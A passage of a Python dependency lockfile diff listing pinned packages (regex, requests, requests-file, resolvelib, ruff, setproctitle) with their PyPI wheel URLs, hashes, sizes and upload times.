"https://files.pythonhosted.org/packages/ed/6c/a4011cd1cf96b90d2cdc7e156f91efbd26531e822a7fbb82a43c1016678e/regex-2026.1.15-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1cb740d044aff31898804e7bf1181cc72c03d11dfd19932b9911ffc19a79070a", size = 807524, upload-time = "2026-01-14T23:15:53.102Z" }, + { url = "https://files.pythonhosted.org/packages/1d/25/a53ffb73183f69c3e9f4355c4922b76d2840aee160af6af5fac229b6201d/regex-2026.1.15-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:05d75a668e9ea16f832390d22131fe1e8acc8389a694c8febc3e340b0f810b93", size = 873455, upload-time = "2026-01-14T23:15:54.956Z" }, + { url = "https://files.pythonhosted.org/packages/66/0b/8b47fc2e8f97d9b4a851736f3890a5f786443aa8901061c55f24c955f45b/regex-2026.1.15-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d991483606f3dbec93287b9f35596f41aa2e92b7c2ebbb935b63f409e243c9af", size = 915007, upload-time = "2026-01-14T23:15:57.041Z" }, + { url = "https://files.pythonhosted.org/packages/c2/fa/97de0d681e6d26fabe71968dbee06dd52819e9a22fdce5dac7256c31ed84/regex-2026.1.15-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:194312a14819d3e44628a44ed6fea6898fdbecb0550089d84c403475138d0a09", size = 812794, upload-time = "2026-01-14T23:15:58.916Z" }, + { url = "https://files.pythonhosted.org/packages/22/38/e752f94e860d429654aa2b1c51880bff8dfe8f084268258adf9151cf1f53/regex-2026.1.15-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fe2fda4110a3d0bc163c2e0664be44657431440722c5c5315c65155cab92f9e5", size = 781159, upload-time = "2026-01-14T23:16:00.817Z" }, + { url = "https://files.pythonhosted.org/packages/e9/a7/d739ffaef33c378fc888302a018d7f81080393d96c476b058b8c64fd2b0d/regex-2026.1.15-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:124dc36c85d34ef2d9164da41a53c1c8c122cfb1f6e1ec377a1f27ee81deb794", size = 795558, upload-time = "2026-01-14T23:16:03.267Z" }, + { url = "https://files.pythonhosted.org/packages/3e/c4/542876f9a0ac576100fc73e9c75b779f5c31e3527576cfc9cb3009dcc58a/regex-2026.1.15-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a1774cd1981cd212506a23a14dba7fdeaee259f5deba2df6229966d9911e767a", size = 868427, upload-time = "2026-01-14T23:16:05.646Z" }, + { url = "https://files.pythonhosted.org/packages/fc/0f/d5655bea5b22069e32ae85a947aa564912f23758e112cdb74212848a1a1b/regex-2026.1.15-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:b5f7d8d2867152cdb625e72a530d2ccb48a3d199159144cbdd63870882fb6f80", size = 769939, upload-time = "2026-01-14T23:16:07.542Z" }, + { url = "https://files.pythonhosted.org/packages/20/06/7e18a4fa9d326daeda46d471a44ef94201c46eaa26dbbb780b5d92cbfdda/regex-2026.1.15-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:492534a0ab925d1db998defc3c302dae3616a2fc3fe2e08db1472348f096ddf2", size = 854753, upload-time = "2026-01-14T23:16:10.395Z" }, + { url = "https://files.pythonhosted.org/packages/3b/67/dc8946ef3965e166f558ef3b47f492bc364e96a265eb4a2bb3ca765c8e46/regex-2026.1.15-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c661fc820cfb33e166bf2450d3dadbda47c8d8981898adb9b6fe24e5e582ba60", size = 799559, upload-time = "2026-01-14T23:16:12.347Z" }, + { url = "https://files.pythonhosted.org/packages/a5/61/1bba81ff6d50c86c65d9fd84ce9699dd106438ee4cdb105bf60374ee8412/regex-2026.1.15-cp313-cp313t-win32.whl", hash = "sha256:99ad739c3686085e614bf77a508e26954ff1b8f14da0e3765ff7abbf7799f952", size = 268879, upload-time = "2026-01-14T23:16:14.049Z" }, + { url = "https://files.pythonhosted.org/packages/e9/5e/cef7d4c5fb0ea3ac5c775fd37db5747f7378b29526cc83f572198924ff47/regex-2026.1.15-cp313-cp313t-win_amd64.whl", hash = "sha256:32655d17905e7ff8ba5c764c43cb124e34a9245e45b83c22e81041e1071aee10", size = 280317, upload-time = "2026-01-14T23:16:15.718Z" }, + { url = "https://files.pythonhosted.org/packages/b4/52/4317f7a5988544e34ab57b4bde0f04944c4786128c933fb09825924d3e82/regex-2026.1.15-cp313-cp313t-win_arm64.whl", hash = "sha256:b2a13dd6a95e95a489ca242319d18fc02e07ceb28fa9ad146385194d95b3c829", size = 271551, upload-time = "2026-01-14T23:16:17.533Z" }, + { url = "https://files.pythonhosted.org/packages/52/0a/47fa888ec7cbbc7d62c5f2a6a888878e76169170ead271a35239edd8f0e8/regex-2026.1.15-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:d920392a6b1f353f4aa54328c867fec3320fa50657e25f64abf17af054fc97ac", size = 489170, upload-time = "2026-01-14T23:16:19.835Z" }, + { url = "https://files.pythonhosted.org/packages/ac/c4/d000e9b7296c15737c9301708e9e7fbdea009f8e93541b6b43bdb8219646/regex-2026.1.15-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:b5a28980a926fa810dbbed059547b02783952e2efd9c636412345232ddb87ff6", size = 291146, upload-time = "2026-01-14T23:16:21.541Z" }, + { url = "https://files.pythonhosted.org/packages/f9/b6/921cc61982e538682bdf3bdf5b2c6ab6b34368da1f8e98a6c1ddc503c9cf/regex-2026.1.15-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:621f73a07595d83f28952d7bd1e91e9d1ed7625fb7af0064d3516674ec93a2a2", size = 288986, upload-time = "2026-01-14T23:16:23.381Z" }, + { url = "https://files.pythonhosted.org/packages/ca/33/eb7383dde0bbc93f4fb9d03453aab97e18ad4024ac7e26cef8d1f0a2cff0/regex-2026.1.15-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3d7d92495f47567a9b1669c51fc8d6d809821849063d168121ef801bbc213846", size = 799098, upload-time = "2026-01-14T23:16:25.088Z" }, + { url = "https://files.pythonhosted.org/packages/27/56/b664dccae898fc8d8b4c23accd853f723bde0f026c747b6f6262b688029c/regex-2026.1.15-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8dd16fba2758db7a3780a051f245539c4451ca20910f5a5e6ea1c08d06d4a76b", size = 864980, upload-time = "2026-01-14T23:16:27.297Z" }, + { url = "https://files.pythonhosted.org/packages/16/40/0999e064a170eddd237bae9ccfcd8f28b3aa98a38bf727a086425542a4fc/regex-2026.1.15-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1e1808471fbe44c1a63e5f577a1d5f02fe5d66031dcbdf12f093ffc1305a858e", size = 911607, upload-time = "2026-01-14T23:16:29.235Z" }, + { url = "https://files.pythonhosted.org/packages/07/78/c77f644b68ab054e5a674fb4da40ff7bffb2c88df58afa82dbf86573092d/regex-2026.1.15-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0751a26ad39d4f2ade8fe16c59b2bf5cb19eb3d2cd543e709e583d559bd9efde", size = 803358, upload-time = "2026-01-14T23:16:31.369Z" }, + { url = "https://files.pythonhosted.org/packages/27/31/d4292ea8566eaa551fafc07797961c5963cf5235c797cc2ae19b85dfd04d/regex-2026.1.15-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0c7684c7f9ca241344ff95a1de964f257a5251968484270e91c25a755532c5", size = 775833, upload-time = "2026-01-14T23:16:33.141Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b2/cff3bf2fea4133aa6fb0d1e370b37544d18c8350a2fa118c7e11d1db0e14/regex-2026.1.15-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:74f45d170a21df41508cb67165456538425185baaf686281fa210d7e729abc34", size = 788045, upload-time = "2026-01-14T23:16:35.005Z" }, + { url = "https://files.pythonhosted.org/packages/8d/99/2cb9b69045372ec877b6f5124bda4eb4253bc58b8fe5848c973f752bc52c/regex-2026.1.15-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f1862739a1ffb50615c0fde6bae6569b5efbe08d98e59ce009f68a336f64da75", size = 859374, upload-time = "2026-01-14T23:16:36.919Z" }, + { url = "https://files.pythonhosted.org/packages/09/16/710b0a5abe8e077b1729a562d2f297224ad079f3a66dce46844c193416c8/regex-2026.1.15-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:453078802f1b9e2b7303fb79222c054cb18e76f7bdc220f7530fdc85d319f99e", size = 763940, upload-time = "2026-01-14T23:16:38.685Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/7585c8e744e40eb3d32f119191969b91de04c073fca98ec14299041f6e7e/regex-2026.1.15-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:a30a68e89e5a218b8b23a52292924c1f4b245cb0c68d1cce9aec9bbda6e2c160", size = 850112, upload-time = "2026-01-14T23:16:40.646Z" }, + { url = "https://files.pythonhosted.org/packages/af/d6/43e1dd85df86c49a347aa57c1f69d12c652c7b60e37ec162e3096194a278/regex-2026.1.15-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9479cae874c81bf610d72b85bb681a94c95722c127b55445285fb0e2c82db8e1", size = 789586, upload-time = "2026-01-14T23:16:42.799Z" }, + { url = "https://files.pythonhosted.org/packages/93/38/77142422f631e013f316aaae83234c629555729a9fbc952b8a63ac91462a/regex-2026.1.15-cp314-cp314-win32.whl", hash = "sha256:d639a750223132afbfb8f429c60d9d318aeba03281a5f1ab49f877456448dcf1", size = 271691, upload-time = "2026-01-14T23:16:44.671Z" }, + { url = "https://files.pythonhosted.org/packages/4a/a9/ab16b4649524ca9e05213c1cdbb7faa85cc2aa90a0230d2f796cbaf22736/regex-2026.1.15-cp314-cp314-win_amd64.whl", hash = "sha256:4161d87f85fa831e31469bfd82c186923070fc970b9de75339b68f0c75b51903", size = 280422, upload-time = "2026-01-14T23:16:46.607Z" }, + { url = "https://files.pythonhosted.org/packages/be/2a/20fd057bf3521cb4791f69f869635f73e0aaf2b9ad2d260f728144f9047c/regex-2026.1.15-cp314-cp314-win_arm64.whl", hash = "sha256:91c5036ebb62663a6b3999bdd2e559fd8456d17e2b485bf509784cd31a8b1705", size = 273467, upload-time = "2026-01-14T23:16:48.967Z" }, + { url = "https://files.pythonhosted.org/packages/ad/77/0b1e81857060b92b9cad239104c46507dd481b3ff1fa79f8e7f865aae38a/regex-2026.1.15-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:ee6854c9000a10938c79238de2379bea30c82e4925a371711af45387df35cab8", size = 492073, upload-time = "2026-01-14T23:16:51.154Z" }, + { url = "https://files.pythonhosted.org/packages/70/f3/f8302b0c208b22c1e4f423147e1913fd475ddd6230565b299925353de644/regex-2026.1.15-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2c2b80399a422348ce5de4fe40c418d6299a0fa2803dd61dc0b1a2f28e280fcf", size = 292757, upload-time = "2026-01-14T23:16:53.08Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f0/ef55de2460f3b4a6da9d9e7daacd0cb79d4ef75c64a2af316e68447f0df0/regex-2026.1.15-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:dca3582bca82596609959ac39e12b7dad98385b4fefccb1151b937383cec547d", size = 291122, upload-time = "2026-01-14T23:16:55.383Z" }, + { url = "https://files.pythonhosted.org/packages/cf/55/bb8ccbacabbc3a11d863ee62a9f18b160a83084ea95cdfc5d207bfc3dd75/regex-2026.1.15-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef71d476caa6692eea743ae5ea23cde3260677f70122c4d258ca952e5c2d4e84", size = 807761, upload-time = "2026-01-14T23:16:57.251Z" }, + { url = "https://files.pythonhosted.org/packages/8f/84/f75d937f17f81e55679a0509e86176e29caa7298c38bd1db7ce9c0bf6075/regex-2026.1.15-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c243da3436354f4af6c3058a3f81a97d47ea52c9bd874b52fd30274853a1d5df", size = 873538, upload-time = "2026-01-14T23:16:59.349Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d9/0da86327df70349aa8d86390da91171bd3ca4f0e7c1d1d453a9c10344da3/regex-2026.1.15-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8355ad842a7c7e9e5e55653eade3b7d1885ba86f124dd8ab1f722f9be6627434", size = 915066, upload-time = "2026-01-14T23:17:01.607Z" }, + { url = "https://files.pythonhosted.org/packages/2a/5e/f660fb23fc77baa2a61aa1f1fe3a4eea2bbb8a286ddec148030672e18834/regex-2026.1.15-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f192a831d9575271a22d804ff1a5355355723f94f31d9eef25f0d45a152fdc1a", size = 812938, upload-time = "2026-01-14T23:17:04.366Z" }, + { url = "https://files.pythonhosted.org/packages/69/33/a47a29bfecebbbfd1e5cd3f26b28020a97e4820f1c5148e66e3b7d4b4992/regex-2026.1.15-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:166551807ec20d47ceaeec380081f843e88c8949780cd42c40f18d16168bed10", size = 781314, upload-time = "2026-01-14T23:17:06.378Z" }, + { url = "https://files.pythonhosted.org/packages/65/ec/7ec2bbfd4c3f4e494a24dec4c6943a668e2030426b1b8b949a6462d2c17b/regex-2026.1.15-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f9ca1cbdc0fbfe5e6e6f8221ef2309988db5bcede52443aeaee9a4ad555e0dac", size = 795652, upload-time = "2026-01-14T23:17:08.521Z" }, + { url = "https://files.pythonhosted.org/packages/46/79/a5d8651ae131fe27d7c521ad300aa7f1c7be1dbeee4d446498af5411b8a9/regex-2026.1.15-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b30bcbd1e1221783c721483953d9e4f3ab9c5d165aa709693d3f3946747b1aea", size = 868550, upload-time = "2026-01-14T23:17:10.573Z" }, + { url = "https://files.pythonhosted.org/packages/06/b7/25635d2809664b79f183070786a5552dd4e627e5aedb0065f4e3cf8ee37d/regex-2026.1.15-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2a8d7b50c34578d0d3bf7ad58cde9652b7d683691876f83aedc002862a35dc5e", size = 769981, upload-time = "2026-01-14T23:17:12.871Z" }, + { url = "https://files.pythonhosted.org/packages/16/8b/fc3fcbb2393dcfa4a6c5ffad92dc498e842df4581ea9d14309fcd3c55fb9/regex-2026.1.15-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9d787e3310c6a6425eb346be4ff2ccf6eece63017916fd77fe8328c57be83521", size = 854780, upload-time = "2026-01-14T23:17:14.837Z" }, + { url = "https://files.pythonhosted.org/packages/d0/38/dde117c76c624713c8a2842530be9c93ca8b606c0f6102d86e8cd1ce8bea/regex-2026.1.15-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:619843841e220adca114118533a574a9cd183ed8a28b85627d2844c500a2b0db", size = 799778, upload-time = "2026-01-14T23:17:17.369Z" }, + { url = "https://files.pythonhosted.org/packages/e3/0d/3a6cfa9ae99606afb612d8fb7a66b245a9d5ff0f29bb347c8a30b6ad561b/regex-2026.1.15-cp314-cp314t-win32.whl", hash = "sha256:e90b8db97f6f2c97eb045b51a6b2c5ed69cedd8392459e0642d4199b94fabd7e", size = 274667, upload-time = "2026-01-14T23:17:19.301Z" }, + { url = "https://files.pythonhosted.org/packages/5b/b2/297293bb0742fd06b8d8e2572db41a855cdf1cae0bf009b1cb74fe07e196/regex-2026.1.15-cp314-cp314t-win_amd64.whl", hash = "sha256:5ef19071f4ac9f0834793af85bd04a920b4407715624e40cb7a0631a11137cdf", size = 284386, upload-time = "2026-01-14T23:17:21.231Z" }, + { url = "https://files.pythonhosted.org/packages/95/e4/a3b9480c78cf8ee86626cb06f8d931d74d775897d44201ccb813097ae697/regex-2026.1.15-cp314-cp314t-win_arm64.whl", hash = "sha256:ca89c5e596fc05b015f27561b3793dc2fa0917ea0d7507eebb448efd35274a70", size = 274837, upload-time = "2026-01-14T23:17:23.146Z" }, +] + +[[package]] +name = "requests" +version = "2.32.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" }, +] + +[[package]] +name = "requests-file" +version = "3.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3c/f8/5dc70102e4d337063452c82e1f0d95e39abfe67aa222ed8a5ddeb9df8de8/requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576", size = 6967, upload-time = "2025-10-20T18:56:42.279Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e1/d5/de8f089119205a09da657ed4784c584ede8381a0ce6821212a6d4ca47054/requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2", size = 4514, upload-time = "2025-10-20T18:56:41.184Z" }, +] + +[[package]] +name = "resolvelib" +version = "1.0.1" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11'", +] +sdist = { url = "https://files.pythonhosted.org/packages/ce/10/f699366ce577423cbc3df3280063099054c23df70856465080798c6ebad6/resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309", size = 21065, upload-time = "2023-03-09T05:10:38.292Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/fc/e9ccf0521607bcd244aa0b3fbd574f71b65e9ce6a112c83af988bbbe2e23/resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf", size = 17194, upload-time = "2023-03-09T05:10:36.214Z" }, +] + +[[package]] +name = "resolvelib" +version = "1.2.1" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.12'", + "python_full_version == '3.11.*'", +] +sdist = { url = "https://files.pythonhosted.org/packages/1d/14/4669927e06631070edb968c78fdb6ce8992e27c9ab2cde4b3993e22ac7af/resolvelib-1.2.1.tar.gz", hash = "sha256:7d08a2022f6e16ce405d60b68c390f054efcfd0477d4b9bd019cc941c28fad1c", size = 24575, upload-time = "2025-10-11T01:07:44.582Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e2/23/c941a0d0353681ca138489983c4309e0f5095dfd902e1357004f2357ddf2/resolvelib-1.2.1-py3-none-any.whl", hash = "sha256:fb06b66c8da04172d9e72a21d7d06186d8919e32ae5ab5cdf5b9d920be805ac2", size = 18737, upload-time = "2025-10-11T01:07:43.081Z" }, +] + +[[package]] +name = "ruff" +version = "0.14.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2e/06/f71e3a86b2df0dfa2d2f72195941cd09b44f87711cb7fa5193732cb9a5fc/ruff-0.14.14.tar.gz", hash = "sha256:2d0f819c9a90205f3a867dbbd0be083bee9912e170fd7d9704cc8ae45824896b", size = 4515732, upload-time = "2026-01-22T22:30:17.527Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/89/20a12e97bc6b9f9f68343952da08a8099c57237aef953a56b82711d55edd/ruff-0.14.14-py3-none-linux_armv6l.whl", hash = "sha256:7cfe36b56e8489dee8fbc777c61959f60ec0f1f11817e8f2415f429552846aed", size = 10467650, upload-time = "2026-01-22T22:30:08.578Z" }, + { url = "https://files.pythonhosted.org/packages/a3/b1/c5de3fd2d5a831fcae21beda5e3589c0ba67eec8202e992388e4b17a6040/ruff-0.14.14-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:6006a0082336e7920b9573ef8a7f52eec837add1265cc74e04ea8a4368cd704c", size = 10883245, upload-time = "2026-01-22T22:30:04.155Z" }, + { url = "https://files.pythonhosted.org/packages/b8/7c/3c1db59a10e7490f8f6f8559d1db8636cbb13dccebf18686f4e3c9d7c772/ruff-0.14.14-py3-none-macosx_11_0_arm64.whl", hash = "sha256:026c1d25996818f0bf498636686199d9bd0d9d6341c9c2c3b62e2a0198b758de", size = 10231273, upload-time = "2026-01-22T22:30:34.642Z" }, + { url = "https://files.pythonhosted.org/packages/a1/6e/5e0e0d9674be0f8581d1f5e0f0a04761203affce3232c1a1189d0e3b4dad/ruff-0.14.14-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f666445819d31210b71e0a6d1c01e24447a20b85458eea25a25fe8142210ae0e", size = 10585753, upload-time = "2026-01-22T22:30:31.781Z" }, + { url = "https://files.pythonhosted.org/packages/23/09/754ab09f46ff1884d422dc26d59ba18b4e5d355be147721bb2518aa2a014/ruff-0.14.14-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3c0f18b922c6d2ff9a5e6c3ee16259adc513ca775bcf82c67ebab7cbd9da5bc8", size = 10286052, upload-time = "2026-01-22T22:30:24.827Z" }, + { url = "https://files.pythonhosted.org/packages/c8/cc/e71f88dd2a12afb5f50733851729d6b571a7c3a35bfdb16c3035132675a0/ruff-0.14.14-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1629e67489c2dea43e8658c3dba659edbfd87361624b4040d1df04c9740ae906", size = 11043637, upload-time = "2026-01-22T22:30:13.239Z" }, + { url = "https://files.pythonhosted.org/packages/67/b2/397245026352494497dac935d7f00f1468c03a23a0c5db6ad8fc49ca3fb2/ruff-0.14.14-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:27493a2131ea0f899057d49d303e4292b2cae2bb57253c1ed1f256fbcd1da480", size = 12194761, upload-time = "2026-01-22T22:30:22.542Z" }, + { url = "https://files.pythonhosted.org/packages/5b/06/06ef271459f778323112c51b7587ce85230785cd64e91772034ddb88f200/ruff-0.14.14-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:01ff589aab3f5b539e35db38425da31a57521efd1e4ad1ae08fc34dbe30bd7df", size = 12005701, upload-time = "2026-01-22T22:30:20.499Z" }, + { url = "https://files.pythonhosted.org/packages/41/d6/99364514541cf811ccc5ac44362f88df66373e9fec1b9d1c4cc830593fe7/ruff-0.14.14-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1cc12d74eef0f29f51775f5b755913eb523546b88e2d733e1d701fe65144e89b", size = 11282455, upload-time = "2026-01-22T22:29:59.679Z" }, + { url = "https://files.pythonhosted.org/packages/ca/71/37daa46f89475f8582b7762ecd2722492df26421714a33e72ccc9a84d7a5/ruff-0.14.14-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb8481604b7a9e75eff53772496201690ce2687067e038b3cc31aaf16aa0b974", size = 11215882, upload-time = "2026-01-22T22:29:57.032Z" }, + { url = "https://files.pythonhosted.org/packages/2c/10/a31f86169ec91c0705e618443ee74ede0bdd94da0a57b28e72db68b2dbac/ruff-0.14.14-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:14649acb1cf7b5d2d283ebd2f58d56b75836ed8c6f329664fa91cdea19e76e66", size = 11180549, upload-time = "2026-01-22T22:30:27.175Z" }, + { url = "https://files.pythonhosted.org/packages/fd/1e/c723f20536b5163adf79bdd10c5f093414293cdf567eed9bdb7b83940f3f/ruff-0.14.14-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e8058d2145566510790eab4e2fad186002e288dec5e0d343a92fe7b0bc1b3e13", size = 10543416, upload-time = "2026-01-22T22:30:01.964Z" }, + { url = "https://files.pythonhosted.org/packages/3e/34/8a84cea7e42c2d94ba5bde1d7a4fae164d6318f13f933d92da6d7c2041ff/ruff-0.14.14-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e651e977a79e4c758eb807f0481d673a67ffe53cfa92209781dfa3a996cf8412", size = 10285491, upload-time = "2026-01-22T22:30:29.51Z" }, + { url = "https://files.pythonhosted.org/packages/55/ef/b7c5ea0be82518906c978e365e56a77f8de7678c8bb6651ccfbdc178c29f/ruff-0.14.14-py3-none-musllinux_1_2_i686.whl", hash = "sha256:cc8b22da8d9d6fdd844a68ae937e2a0adf9b16514e9a97cc60355e2d4b219fc3", size = 10733525, upload-time = "2026-01-22T22:30:06.499Z" }, + { url = "https://files.pythonhosted.org/packages/6a/5b/aaf1dfbcc53a2811f6cc0a1759de24e4b03e02ba8762daabd9b6bd8c59e3/ruff-0.14.14-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:16bc890fb4cc9781bb05beb5ab4cd51be9e7cb376bf1dd3580512b24eb3fda2b", size = 11315626, upload-time = "2026-01-22T22:30:36.848Z" }, + { url = "https://files.pythonhosted.org/packages/2c/aa/9f89c719c467dfaf8ad799b9bae0df494513fb21d31a6059cb5870e57e74/ruff-0.14.14-py3-none-win32.whl", hash = "sha256:b530c191970b143375b6a68e6f743800b2b786bbcf03a7965b06c4bf04568167", size = 10502442, upload-time = "2026-01-22T22:30:38.93Z" }, + { url = "https://files.pythonhosted.org/packages/87/44/90fa543014c45560cae1fffc63ea059fb3575ee6e1cb654562197e5d16fb/ruff-0.14.14-py3-none-win_amd64.whl", hash = "sha256:3dde1435e6b6fe5b66506c1dff67a421d0b7f6488d466f651c07f4cab3bf20fd", size = 11630486, upload-time = "2026-01-22T22:30:10.852Z" }, + { url = "https://files.pythonhosted.org/packages/9e/6a/40fee331a52339926a92e17ae748827270b288a35ef4a15c9c8f2ec54715/ruff-0.14.14-py3-none-win_arm64.whl", hash = "sha256:56e6981a98b13a32236a72a8da421d7839221fa308b223b9283312312e5ac76c", size = 10920448, upload-time = "2026-01-22T22:30:15.417Z" }, +] + +[[package]] +name = "setproctitle" +version = "1.3.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8d/48/49393a96a2eef1ab418b17475fb92b8fcfad83d099e678751b05472e69de/setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e", size = 27002, upload-time = "2025-09-05T12:51:25.278Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f2/48/fb401ec8c4953d519d05c87feca816ad668b8258448ff60579ac7a1c1386/setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b", size = 18079, upload-time = "2025-09-05T12:49:07.732Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a3/c2b0333c2716fb3b4c9a973dd113366ac51b4f8d56b500f4f8f704b4817a/setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7", size = 13099, upload-time = "2025-09-05T12:49:09.222Z" }, + { url = "https://files.pythonhosted.org/packages/0e/f8/17bda581c517678260e6541b600eeb67745f53596dc077174141ba2f6702/setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c", size = 31793, upload-time = "2025-09-05T12:49:10.297Z" }, + { url = "https://files.pythonhosted.org/packages/27/d1/76a33ae80d4e788ecab9eb9b53db03e81cfc95367ec7e3fbf4989962fedd/setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3", size = 32779, upload-time = "2025-09-05T12:49:12.157Z" }, + { url = "https://files.pythonhosted.org/packages/59/27/1a07c38121967061564f5e0884414a5ab11a783260450172d4fc68c15621/setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f", size = 34578, upload-time = "2025-09-05T12:49:13.393Z" }, + { url = 